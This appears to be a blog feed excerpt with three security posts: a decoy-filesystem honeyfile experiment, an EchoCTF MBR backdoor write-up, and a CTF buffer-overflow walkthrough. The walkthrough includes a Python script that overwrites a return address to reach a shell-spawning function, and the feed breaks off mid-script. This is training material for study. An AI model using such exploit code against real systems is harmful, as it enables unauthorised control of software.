&lt;/h2&gt;&lt;p&gt;I very recently learnt that you can implement virtual filesystems, that is, filesystem that are not actually present on the disk, using FUSE bindings. All one had to do is override the operating system filesystem function calls to &lt;strong&gt;mimic&lt;/strong&gt; an actual filesystem and you can literally pull show a filesystem out of nowhere.&lt;/p&gt;
&lt;p&gt;Armed with the knowledge, I thought &amp;ldquo;why can&amp;rsquo;t I just implement a decoy filesystem with decoy files and generate alerts whenever the files are accessed?&amp;rdquo;. But this is basically honey-files with extra steps, that is, the virtual filesystem. Then I thought a honey-file is always the same, always there in the same place, and it is usually something like &amp;ldquo;passwords.txt&amp;rdquo; or &amp;ldquo;keys.csv&amp;rdquo;. So what if I could dynamically generate new file contents in important places, places where applications usually keep their tokens, secrets and keys, places which are more believable and look like legit files to an attacker, places which an infostealer would automatically enumerate. And hence, I got started to find out.&lt;/p&gt;
&lt;h2 id=&#34;the-filesystem-implementation&#34;&gt;The filesystem implementation
&lt;/h2&gt;&lt;p&gt;There are a few libraries that provide libfuse bindings in Python. Namely &lt;a class=&#34;link&#34; href=&#34;https://github.com/fusepy/fusepy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;fusepy&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;https://github.com/libfuse/python-fuse&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;python-fuse&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;https://github.com/mxmlnkn/mfusepy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;mfusepy&lt;/a&gt; etc. I choose to work with &lt;code&gt;mfusepy&lt;/code&gt; as it is one of the still maintained one. I couldn&amp;rsquo;t find any documentation about the module. But lucky for me, they maintain a folder of &lt;a class=&#34;link&#34; href=&#34;https://github.com/mxmlnkn/mfusepy/tree/master/examples&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;example implementations&lt;/a&gt;. One of those aligns closely with what I want, a pure &lt;a class=&#34;link&#34; href=&#34;https://github.com/mxmlnkn/mfusepy/blob/master/examples/memory.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;in-memory virtual filesystem implementation&lt;/a&gt;. Even though it did not clearly specify what should be actually done, it did give me a gist of how to do it.&lt;/p&gt;
&lt;p&gt;However the example script didn&amp;rsquo;t quite work out-of-the-box for me. So I made some modifications and additions of my own to emulate an actual filesystem. At the end of it, I had a script to create a virtual filesystem that can contain and display files, create new files, delete existing ones, create a directoy and so on.&lt;/p&gt;
&lt;h2 id=&#34;what-to-generate&#34;&gt;What to generate?
&lt;/h2&gt;&lt;p&gt;Now that, I can mount an filesystem whereever I want, I need to generate files. Not just any files, files that appear to be legit, files that should be placed in places where popular applications places them. Then I spent some time researching in popular applications and their configurations. Nah, I&amp;rsquo;m kidding. I used ChatGPT to tell me how popular applications stored their configs and keys. At the end of it, I had a list of applications that seemed to be good candidates for the decoy files. I settled for Kubernetes&amp;rsquo;s kubeconfig, AWS&amp;rsquo;s credential and config file, Azure&amp;rsquo;s credentials.json, GCP&amp;rsquo;s default application config file, Terraform&amp;rsquo;s credential file, Docker&amp;rsquo;s config file and lastly Bitcoin&amp;rsquo;s config and wallet files. Mostly developer centric, I know.&lt;/p&gt;
&lt;p&gt;With an list of candidate application, I then again asked ChatGPT to give me a blueprint of configuration files and what kind of data should I use to fill it with. With that, I used Python&amp;rsquo;s &lt;code&gt;string.template&lt;/code&gt; to craft template of files and wrote generator functions to dynamically populate the templates. It took me some time to cover this aspect of the ground but it was fine.&lt;/p&gt;
&lt;h2 id=&#34;putting-things-together&#34;&gt;Putting things together
&lt;/h2&gt;&lt;p&gt;At this point, I have a script to mount a fake filesystem anywhere I want and generator functions that can give me realistic looking files that popular applications use. Only thing left is to put these things together. I used a YAML file (&lt;code&gt;config.yml&lt;/code&gt;) as the configuration file for user. With that user can specify which applications can the script emulate and present decoys for. Because we don&amp;rsquo;t want to present decoys for already present applications.&lt;/p&gt;
&lt;p&gt;It took going a little back and forth on things, until I finally managed to put it together. So now my script (actually scripts), managed to generate decoy files for applications provided in &lt;code&gt;config.yml&lt;/code&gt; and mount it in place I wanted.&lt;/p&gt;
&lt;h2 id=&#34;the-logging&#34;&gt;The logging
&lt;/h2&gt;&lt;p&gt;I&amp;rsquo;ll admit, I haven&amp;rsquo;t done a lot of logging stuff in Python. Since &lt;code&gt;mfusepy&lt;/code&gt; already provided debug logs for the filesystem, I tried to implement logging that gives debug information for my script. So I read the documentation (yes I actually did that), and implemented it. And then I remembered that I had to log alerts as well, because that is the whole point of the application. But I didn&amp;rsquo;t want to throw all the log at once. So I seperated logs from &lt;code&gt;myfusepy&lt;/code&gt;, debug information from my script and the alerts I want to give out. Turns out it&amp;rsquo;s surprisingly easy than it sounds.&lt;/p&gt;
&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion
&lt;/h2&gt;&lt;p&gt;It took me over an week to put all these together. I mean I didn&amp;rsquo;t spent all my time on this, but okay. So basically I got an Intrusion detection system out that puts fake files on your filesystem and then alerts you when someone accesses it. It is geared more towards developers who keep these kinda files in their storage. But at the end this is just a stupid experiment. So I hope no one uses it as an actual security measure. Still it was pretty fun convincing the system that a filesystem exists when it doesn&amp;rsquo;t and generate configuration files for various applications.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Run Run, Ember Run! - EchoCTF Writeup</title>
        <link>https://itsmonish.pages.dev/blog/echoctf-run-run-ember-run/</link>
        <pubDate>Sun, 22 Jun 2025 13:45:21 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/echoctf-run-run-ember-run/</guid>
        <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction
&lt;/h2&gt;&lt;p&gt;This writeup deals with the &lt;a class=&#34;link&#34; href=&#34;https://echoctf.red/challenge/9&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Run Run, Ember Run!&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://echoctf.red/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;EchoCTF&lt;/a&gt;. This challenge focused on understanding the MBR boot record format and the bootstrap code it contains. A compressed gunzip archive &lt;a class=&#34;link&#34; href=&#34;https://echoctf.red/uploads/run_run_ember_run.gz&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;run_run_ember_run.img.gz&lt;/a&gt; contains challenge file.&lt;/p&gt;
&lt;p&gt;Challenge Statement:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;A small challenge with only four questions for you to answer.

An attacker gained access to one of the systems leaving behind the file attached to this challenge.

Not many details are known about the file but there are at least two ways to get what you want. Depending on the road you&amp;#39;ll take it can be as easy as walking in the park or hard as climbing the Himalayas.

You need to analyze the file and answer the following questions...

This is not a filesystem, even though you&amp;#39;ll find it on disks... and although its not executable you can still run it!!!

Q1: What is the first thing you&amp;#39;d see from running this image? (200 pts)
The first thing that would greet you is a flag. Give it for answer to this question.

Q2: What do you get from address 0? (300 pts)
What are the values of the first 16 bytes starting from address 0. Remove any spaces from your answer.

Q3: What is the address backdoored by the attacker? (400 pts)
The attacker seemed to have added a backdoor at a certain address. When you try to print this address you will get a flag. What is the backdoored address in hex (prefixed by 0x).

Q4: What is the flag from the backdoored address? (500 pts)
What is the flag being displayed from the backdoored address?
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;writeup&#34;&gt;Writeup
&lt;/h2&gt;&lt;p&gt;The question makes it look like the challenge has something to do with a binary reverse engineering analysis. But also there are points that suggest that it a disk? So first we need to understand what it is we are given.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_runrunemberrun/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;file utility output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;It says that the file is a DOS/MBR boot sector. So we can&amp;rsquo;t &amp;ldquo;run&amp;rdquo; a boot sector right? That&amp;rsquo;s what I thought and decided to take a look at the hex dump of the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_runrunemberrun/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;hex dump&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;That&amp;rsquo;s all of the hex dump. So taking a preliminary look at it revealed nothing. I mean no hidden files, no corrupted data, nothing. But what caught my attention is how it is exactly 512 bytes. The boot partitions are indeed 512 bytes. So that suggested we really do have a MBR boot sector at our hands. Hence we should be able to look at the entries using something like &lt;code&gt;fdisk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_runrunemberrun/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;fdisk output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So we have something. The partition data that the sector holds. But this is of no use without the actual disk (except for now we know what kinda partitions the computer this record belonged to had). But that can&amp;rsquo;t be it. I was missing something. And then looking at the wikipedia page for &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Master_boot_record&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;MBR boot record&lt;/a&gt; had the following table:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_runrunemberrun/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;mbr wikipedia&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Huh, so there IS something that I was missing. There is an entire 446 bytes of &amp;ldquo;Bootstrap code area&amp;rdquo;. That should have been obivous but it wasn&amp;rsquo;t for me. After all this code region is usually targetted by malicious softwares called &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Rootkit#bootkit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Bootkits&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;According to the wiki at &lt;a class=&#34;link&#34; href=&#34;https://wiki.osdev.org/MBR_%28x86%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;OSDev&lt;/a&gt; (not explicitly mentioned, the example provided there indicated it), this code is of 16-bit x86 instruction set. So all I have to do is disassemble the image provided. Easy.&lt;/p&gt;
&lt;p&gt;But before going head first into assembly, recall that the challenge statement explicitly stated to &amp;ldquo;run&amp;rdquo; the image. Since we have a valid boot sector image, perhaps we can? Quick search on the internet showed &lt;a class=&#34;link&#34; href=&#34;https://www.qemu.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;QEMU&lt;/a&gt; is good for it. Using the command,&lt;/p&gt;
&lt;p&gt;&lt;code&gt;qemu-system-i386 -drive format=raw,file=run_run_ember_run.img&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;we are able to boot into the boot sector on a virtualized machine console.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_runrunemberrun/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;first boot and answer&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Yeah we are indeed greeted with a message. Hence our answer for Q1. It looks like a prompt waiting for input.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_runrunemberrun/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;second answer&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Hitting enter on the prompt gave some interesting output. It displays the memory dump of the sector. Since our second question is literally what are the values of first 16 bytes of address 0, we have our answer for that as well.&lt;/p&gt;
&lt;p&gt;And for Q3, we apparently have a backdoor of sorts. I saw no other option than having to dive into the assembly code. We can dump the entire image using &lt;code&gt;objdump&lt;/code&gt;, I specifically used the following command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;objdump -D -b binary -mi386 -Maddr16,data16 -Mintel run_run_ember_run.img&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The options being:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;-D : Disassemble the file
-b binary : target object is binary
-mi386 : target architecture is x86
-Maddr16,data16 : Disassembler options
    addr16 : Addresses are in 16-bit
    data16 : Data is in 16-bit
-Mintel : Use intel style assembly code
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_runrunemberrun/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;disassembly&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;There was a lot of disassembly. As a matter of fact, we have dumped the entire image file, but the actual code is only 446 bytes, which would mean the offset upto 1bd is the valid code.&lt;/p&gt;
&lt;p&gt;And now we read assembly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_runrunemberrun/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;backdoor&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Skimming through the assembly dump, the instruction at offset 86 caught my attention. A compare statement that compares the value at the register &lt;code&gt;bx&lt;/code&gt; with &lt;code&gt;0x3750&lt;/code&gt;. As far as I could tell &lt;code&gt;0x3750&lt;/code&gt; is nothing special. But the instruction checks for it, and then branches. So the question arises, what are the two branches?&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;86:   81 fb 50 37             cmp    bx,0x3750
8a:   75 30                   jne    0xbc
8c:   b0 6d                   mov    al,0x6d
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Assuming the likely case that &lt;code&gt;bx&lt;/code&gt; won&amp;rsquo;t be equal to 0x3750, it seems the code we want to execute is at &lt;code&gt;bc&lt;/code&gt; offset. That begs the next question, how could &lt;code&gt;bx&lt;/code&gt; be set to &lt;code&gt;0x3750&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;74:   e8 c5 00           call   0x13c    
77:   72 05              jb     0x7e     
79:   93                 xchg   bx, ax   
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A little above the offset of 86, at offset 74, we can see that a call is made to the address &lt;code&gt;0x13c&lt;/code&gt;. In x86 convention a call&amp;rsquo;s return value is usally found in &lt;code&gt;ax&lt;/code&gt; register (if it returns). Then instruction &lt;code&gt;xchg&lt;/code&gt; exchanges or swaps the value between &lt;code&gt;bx&lt;/code&gt; and &lt;code&gt;ax&lt;/code&gt; registers. So bx depends on whatever is returned from the instructions at &lt;code&gt;0x13c&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;13c:   e8 04 00                call   0x143
13f:   72 15                   jb     0x156
141:   88 c4                   mov    ah,al
143:   ac                      lods   al,BYTE PTR ds:[si]
144:   e8 10 00                call   0x157
147:   72 0d                   jb     0x156
149:   c0 e0 04                shl    al,0x4
14c:   88 c2                   mov    dl,al
14e:   ac                      lods   al,BYTE PTR ds:[si]
14f:   e8 05 00                call   0x157
152:   72 02                   jb     0x156
154:   08 d0                   or     al,dl
156:   c3                      ret
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To be quite honest, I don&amp;rsquo;t exactly understand what&amp;rsquo;s going in here. The call to &lt;code&gt;0x13c&lt;/code&gt; in turn makes a call to &lt;code&gt;0x143&lt;/code&gt; which is 3 instruction away and kinda confusing and we are missing a ret instruction.&lt;/p&gt;
&lt;p&gt;But in a gist the instruction at &lt;code&gt;0x143&lt;/code&gt; loads a string, an input string to be specific, and calls to another &lt;code&gt;0x157&lt;/code&gt;. It does the same set of instruction twice, but the instruction &lt;code&gt;shl al, 0x4&lt;/code&gt; (shift the contents of al[lower 8 bits of ax] to the left by 4 places), suggests it just processes an input of 16 bits, 8 bits each time. And then the processed contents is stored at the register &lt;code&gt;ax&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So looking at &lt;code&gt;0x157&lt;/code&gt; we have:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;                    ; turns strings to ascii. Like &amp;#39;0&amp;#39; -&amp;gt; 0
157:   2c 30                   sub    al,0x30    
                    ; jump to ret if subtraction is negative. For cases less than &amp;#39;0&amp;#39;
159:   72 0e                   jb     0x169      
                    ; compare al and 10(in decimal)
15b:   3c 0a                   cmp    al,0xa
                    ; compliment carry bit, not sure why
15d:   f5                      cmc
                    ; jump to ret(0x169) if al is above or equal to 10.
                    ; so al must have value between 0 and 9
15e:   73 09                   jae    0x169
160:   2c 31                   sub    al,0x31
162:   72 05                   jb     0x169
164:   04 0a                   add    al,0xa
166:   3c 10                   cmp    al,0x10
168:   f5                      cmc
169:   c3                      ret
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now just looking at the first few lines of the routine, we can see that the call converts the string input to number input. So if we want &lt;code&gt;0x3750&lt;/code&gt; as value of &lt;code&gt;ax&lt;/code&gt; register, we just need to input it?&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_runrunemberrun/9.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;backdoor&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Yes. We just had to put it there and the flag is given. Could&amp;rsquo;ve tried that first, nevertheless it was good. So we have our answer for Q4.&lt;/p&gt;
&lt;p&gt;We still need answer for Q3. Now this part, I think the question is kinda misleading. It asks for the &amp;ldquo;backdoored address&amp;rdquo;. Technically, the backdoor is at offset 86. MBR base address starts at 0x7c00, making the &amp;ldquo;backdoored address&amp;rdquo; as 0x7c86. But this is not it. The answer is the value we need to meet at this address. That is our answer for Q3. Or maybe I&amp;rsquo;m mistaken, but as far as I can tell, that is not an address.&lt;/p&gt;
&lt;h3 id=&#34;note&#34;&gt;Note
&lt;/h3&gt;&lt;p&gt;You can actually find the both of the flags in the hex dump from the beginning if you look for it (with some &amp;lsquo;pattern recognition&amp;rsquo;). I didn&amp;rsquo;t.But it&amp;rsquo;s just the flags.&lt;/p&gt;
&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion
&lt;/h2&gt;&lt;p&gt;It did take me quite some time to figure out Q3, but nevertheless, the challenge was fun and unique. There ain&amp;rsquo;t many challenges that require you to boot a boot sector. So all things considered it was a solid.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Binary Exploitation - Baby Buffer Overflow 32-bit</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/binary-exploitation-baby-buffer-overflow/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/binary-exploitation-baby-buffer-overflow/</guid>
        <description>&lt;h1 id=&#34;baby-buffer-overflow---32bit&#34;&gt;Baby Buffer Overflow - 32bit
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @aenygma&lt;/p&gt;
&lt;p&gt;Can you command this program to where it cannot go?&lt;/p&gt;
&lt;p&gt;To get the flag, you must somehow take control of its excecution.&lt;/p&gt;
&lt;p&gt;Is it even possible?&lt;/p&gt;
&lt;p&gt;Attachments: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/baby-buffer-overflow/babybufov&#34; &gt;babybufov&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/baby-buffer-overflow/babybufov.c&#34; &gt;babybufov.c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This challenge was accompanied with a per-user instance&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Opening the C source file given in the attachment section, we can see that it is a fairly straight forward program. There is the main function which requests some data using &lt;code&gt;gets&lt;/code&gt;. If you have spent some time with C programming you would&amp;rsquo;ve known that this is a vulnerable function. The problem with this function is that it takes input with no limit on it&amp;rsquo;s length. Consequently, it writes data to addresses beyond the space reserved or allocated for the string causing a, that&amp;rsquo;s right, a &lt;strong&gt;buffer overflow&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Now due to some issues with the linker I couldn&amp;rsquo;t execute the binary provided directly. Luckily the source code had a comment to indicate how the program is compiled. So I used:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcc -fno-pie -no-pie -Wno-implicit-function-declaration -fno-stack-protector -m32 babybufov.c -o babybufov
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice that the compilation parameters turn off the stack protection, which makes write to stack possible. So obviously we are supposed to redirect execution flow to the uncalled &lt;code&gt;target&lt;/code&gt; function in the code.&lt;/p&gt;
&lt;p&gt;Here is a awesome &lt;a class=&#34;link&#34; href=&#34;https://www.youtube.com/watch?v=8QzOC8HfOqU&amp;amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;amp;index=15&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;video&lt;/a&gt; from liveoverflow that depicts this in a more illustratively. I suggest you watch the entire playlist if you are new to this sort of things.&lt;/p&gt;
&lt;p&gt;So in a gist, function calls push return address on the stack so that when the function ends it can return the control to where it came from. The same stack also houses local variables such as the one that collects the string from the &lt;code&gt;gets&lt;/code&gt; function. Now the idea is that we put enough characters in the string so that it overflows to the return address value and overwrites it.&lt;/p&gt;
&lt;p&gt;A little knowledge of the GNU Debugger (gdb) is advisable for doing the below steps.&lt;/p&gt;
&lt;p&gt;First we need to know how many characters it takes to overflow to the return address. Usually this is the string (buffer) size, but it can be more due to other variables. So I put in a recognizable string like &lt;code&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;/code&gt; as input to observe the return address.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/baby-overflow-32bit/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;overflow reached&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Of course it seg-faulted because there is no valid address as &lt;code&gt;0x46454443&lt;/code&gt;. But if you notice this is not a random address. 46 is the letter F in hexadecimal. So the address translates to &lt;code&gt;FEDC&lt;/code&gt;. The reason why it is in reverse is because of the endianess. So now we now the address can be overwritten from the second &lt;code&gt;C&lt;/code&gt; in the input.&lt;/p&gt;
&lt;p&gt;Now we need to know the address of the function we need to redirect to. For this we can disassemble the target function to get the address of the first instruction in the address.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/baby-overflow-32bit/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;target function disassembly&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So the address to redirect the control is &lt;code&gt;0x080491a6&lt;/code&gt;. We can&amp;rsquo;t manually type in the return address is because it will be taken as string and stored differently in the stack. So I put together an python script &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/baby-buffer-overflow/exploitgen.py&#34; &gt;exploitgen.py&lt;/a&gt; that generates an exploit input that can overwrite the return address.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; struct
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;buf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;abcdefghijklmnopqrstuvwxyzab&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; struct&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;pack(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;I&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x080491a6&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; buf &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; addr
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; open(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;exploit&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;wb&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(exp)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above code has the buffer required to fill the input buffer and adds the address at the end of it to overwrite the return address. The &lt;a class=&#34;link&#34; href=&#34;https://docs.python.org/3/library/struct.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;struct&lt;/a&gt; module offers packing and unpacking data between python and C data types with specific sizes. Since an address is 4 bytes long, I have used unsigned int (the &lt;code&gt;I&lt;/code&gt;) as the target type. The newline is to mimic the press of enter button to finish input.&lt;/p&gt;
&lt;p&gt;Once the exploit is generated, we can redirect it to the program directly like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./babybufov_custom &amp;lt; exploit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/baby-overflow-32bit/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;exploit successful&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Yup, we got the jackpot message in the target function. So we are successful in redirecting the execution. One might ask, is that it? Visiting again the source code for target we can see there is a shell that gets invoked. Since we give no more input it simply exits. So I added a little more to the &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/baby-buffer-overflow/exploitgen.py&#34; &gt;exploitgen.py&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; struct
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;buf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;abcdefghijklmnopqrstuvwxyzab&amp;#34;&lt;/span&gt;
